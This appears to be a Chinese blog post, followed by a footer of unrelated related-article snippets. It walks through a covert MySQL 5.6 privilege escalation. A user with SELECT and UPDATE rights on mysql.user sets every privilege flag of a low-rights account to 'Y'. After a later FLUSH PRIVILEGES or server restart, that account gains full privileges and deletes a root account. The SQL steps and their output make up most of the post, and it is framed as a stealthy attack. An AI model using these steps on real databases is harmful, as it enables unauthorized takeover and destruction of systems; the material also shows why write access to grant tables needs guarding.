如何悄悄地提升MySQL用户权限
温馨提示:
一次成功的非法提权,需要的必备条件是:
1、对mysql权限表的查、改权限;
2、一次不经意的数据库服务器重启;
此次测试版本:5.6.25
准备邪恶用户:
grant update on mysql.user to heike@'localhost' identified by 'heike';
用heike@localhost登录数据库;
mysql> select * from user;
ERROR 1142 (42000): SELECT command denied to user 'heike'@'localhost' for table 'user'
mysql> update mysql.user set user='test003' where user='test03';
ERROR 1143 (42000): SELECT command denied to user 'heike'@'localhost' for column 'user' in table 'user'
好吧,失败,在给heike@localhost关于user表的select权限;
mysql> grant select on mysql.user to heike@'localhost' identified by 'heike';
Query OK, 0 rows affected (0.00 sec)
现在heike@localhost可以正常地访问mysql.user表了。
准备测试用户:
mysql> show grants for test02@'localhost';
+---------------------------------------------------------------------------------------------------------------+
| Grants for test02@localhost |
+---------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD '*1556A6F65259CE3FBEA8489096F7797B4E0D5BEC' |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
test02@'localhost'只有查询db_test库t1表的权限
现在开始用heike@localhost给test02@'localhost'提权。
就给test02@'localhost'一个超大的权限吧。使用heike@localhost执行:
update mysql.user set Select_priv='Y',
Insert_priv='Y',
Update_priv='Y',
Delete_priv='Y',
Create_priv='Y',
Drop_priv='Y',
Reload_priv='Y',
Shutdown_priv='Y',
Process_priv='Y',
File_priv='Y',
Grant_priv='Y',
References_priv='Y',
Index_priv='Y',
Alter_priv='Y',
Show_db_priv='Y',
Super_priv='Y',
Create_tmp_table_priv='Y',
Lock_tables_priv='Y',
Execute_priv='Y',
Repl_slave_priv='Y',
Repl_client_priv='Y',
Create_view_priv='Y',
Show_view_priv='Y',
Create_routine_priv='Y',
Alter_routine_priv='Y',
Create_user_priv='Y',
Event_priv='Y',
Trigger_priv='Y',
Create_tablespace_priv='Y'
where user='test02' and host='localhost';
Query OK, 1 row affected (0.04 sec)
Rows matched: 1 Changed: 1 Warnings: 0
但是再查看test02@localhost的权限
+----------------------------------------------------------------------------+
| Grants for test02@localhost |
+----------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+----------------------------------------------------------------------------+
2 rows in set (0.00 sec)
好吧,权限没变。但是不要灰心
让我们静静地等在在某一天,有flush privileges 权限的用户执行下:
mysql>flush privileges;
这时再看看test02@localhost的权限
mysql> show grants for test02@localhost;
+-------------------------------------------------------------------------------------------------------+
| Grants for test02@localhost |
+-------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> WITH GRANT OPTION |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+-------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
这是你是不是觉得test02@localhost已经成功逆袭为高富帅了?
既然你这么以为,就让他把`db_test`.`t1`删掉吧
mysql> drop table db_test.t1;
ERROR 1142 (42000): DROP command denied to user 'test02'@'localhost' for table 't1'
What!居然不能删除,还提示权限不足。这一定是误会,让我再尝试一下:
mysql> select user,host,password from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 'user'
what!连查询都不行,说好的ALL PRIVILEGES呢!
让我再尝试一下,新建一张普通表t2看test02@localhost能访问不。
mysql> select * from db_test.t2;
ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 't2'
好吧,至此'test02'@'localhost'的权限没有丝毫改变
继而重启服务器
>service mysqld restart
再试试:
mysql> drop user root@'::1';
Query OK, 0 rows affected (0.08 sec)
mysql> select user();
+------------------+
| user() |
+------------------+
| test02@localhost |
+------------------+
1 row in set (0.00 sec)
哈哈!看看。此时的test02@localhost已经将root用户干掉了!
如何悄悄地提升MySQL用户权限的更多相关文章
- mysql用户权限
mysql> show grants for root@'localhost';+-------------------------------------------------------- ...
- mysql用户权限操作
mysql用户权限操作1.创建用户mysql -urootcreate database zabbix default charset utf8;grant all on zabbix.* to za ...
- 烂泥:nginx、php-fpm、mysql用户权限解析
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://ilanni.blog.51cto.com/526870/1561097 本文首发 ...
- mysql用户权限设置
1.创建新用户 通过root用户登录之后创建 >> grant all privileges on *.* to testuser@localhost identified by &quo ...
- mysql 用户权限设置【转】
在Linux下phpStudy集成开发环境中,要先进入mysql下bin目录,执行mysql ./mysql -u root -p 1.创建新用户 通过root用户登录之后创建 >> gr ...
- 转 MySQL 用户权限详细汇总
http://blog.csdn.net/mchdba/article/details/45934981 1,MySQL权限体系 MySQL 的权限体系大致分为5个层级: 全局层级: 全局权限适用于一 ...
- MYSQL用户权限管理学习笔记
MYSQL 用户管理 1.权限表 MYSQL是一个多用户的数据库,MYSQL的用户可以分为两大类: (1) 超级管理员用户(root),拥有全部权限 (2) 普通用户,由roo ...
- mysql用户权限分配及主从同步复制
赋予wgdp用户查询权限: grant select on wg_dp.* to 'wgdp'@'%' IDENTIFIED BY 'weigou123'; grant all privileges ...
- mysql用户权限管理
参考文章:http://www.cnblogs.com/jackruicao/p/6068821.html?utm_source=itdadao&utm_medium=referral (1) ...
随机推荐
- os & sys
os os.getcwd() 获取当前工作目录,即当前python脚本工作的目录路径 os.chdir("dirname") 改变当前脚本工作目录:相当于shell下cd os.c ...
- 通过PHP CURL模拟请求上传文件|图片。
现在有一个需求就是在自己的服务器上传图片到其他服务器上面,过程:客户端上传图片->存放到本地服务器->再转发到第三方服务器; 由于前端Ajax受限制,只能通过服务器做转发了. 在PHP中通 ...
- ubuntu下安装nginx1.11.10
(本页仅作为个人笔记参考) 为openssl,zlib,pcre配置编译 wget http://om88fxbu9.bkt.clouddn.com/package/nginx/nginx-1.11. ...
- __block的初步用法
再block中使用 self 时,要在前面加上__block. 防止在block中用到self时把self对象retain, 造成内存泄露. __block UIViewController *saf ...
- [z]oracle优化http://jadethao.iteye.com/blog/1613943
[sql] view plaincopy SQL> create table t as select 1 id,object_name from dba_objects; Table creat ...
- "//./root/CIMV2" because of error 0x80041003. Events cannot be delivered through this filter until the problem is corrected.
windows系统日志错误信息: Event filter with query "SELECT * FROM __InstanceModificationEvent WITHIN 60 W ...
- C# CashCode项目开发
如果不是因为这个项目,我可以一辈子都接触不到识币器,更不会知道CashCode是干啥的. 从项目开始,到CashCode机器到桌面上测试,中间在网上找过资料,也联系过北京的技术,他们发来的PDF让我看 ...
- hdu 1495 (搜索) 非常可乐
http://acm.hdu.edu.cn/showproblem.php?pid=1495 搜索模拟出每此倒得情况就好,详情见代码\ (好困啊!!!!1) #include<cstdio> ...
- poj 2828(线段树 逆向思考) 插队是不好的行为
http://poj.org/problem?id=2828 插队问题,n个人,下面n行每行a,b表示这个人插在第a个人的后面和这个人的编号为b,最后输出队伍的情况 涉及到节点的问题可以用到线段树,这 ...
- HDOJ4261 Estimation
一道需要用堆初始化的\(DP\) 原题链接 显然对于每一个部分,当\(b[i]\)为\(a\)对于部分的中位数时,差错最小.设\(S(x,y)\)表示\(x\sim y\)这一部分的差错. \(DP\ ...